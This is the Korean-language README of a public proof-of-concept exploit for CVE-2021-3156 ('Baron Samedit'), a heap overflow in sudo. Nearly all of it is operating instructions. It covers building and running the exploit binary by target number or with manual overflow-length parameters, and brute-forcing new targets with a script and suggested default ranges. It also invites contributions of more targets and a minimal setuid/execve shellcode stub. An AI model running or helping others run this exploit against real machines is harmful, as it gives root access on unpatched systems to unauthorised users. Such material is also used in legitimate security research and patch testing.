CVE-2021-3156 PoC

소개

이것은 Qualys가 Baron Samedit이라고 명명한 CVE-2021-3156 sudo 취약점에 대한 익스플로잇입니다.

사용법

빌드:

$ make

대상 목록:

$ ./sudo-hax-me-a-sandwich

실행:

$ ./sudo-hax-me-a-sandwich <target_number>

수동 모드:

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

무차별 대입 대상 찾기 (실험적)

GNU parallel이 설치되어 있는지 확인하세요.

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

시도해볼 기본값:

$ ./brute.sh 90 120 50 70 150 300

모든 가용 코어를 소모합니다. 넷플릭스를 보면서 무차별 대입을 시도하지 마세요.

기여하기

합리적인 PR을 보내주세요, 병합할 수도 있습니다.

몇 가지 아이디어:

• 더 많은 대상
• 대상 찾기
• 다른 익스플로잇 전략
• 더 자체 포함된 기능:
  • 공유 라이브러리 hax.c 포함 (작게 만들어 주세요, ELF golf + asm setuid/execve 스텁)
  • hax.c에 mkdir 로직 추가
• 디렉토리/공유 라이브러리 정리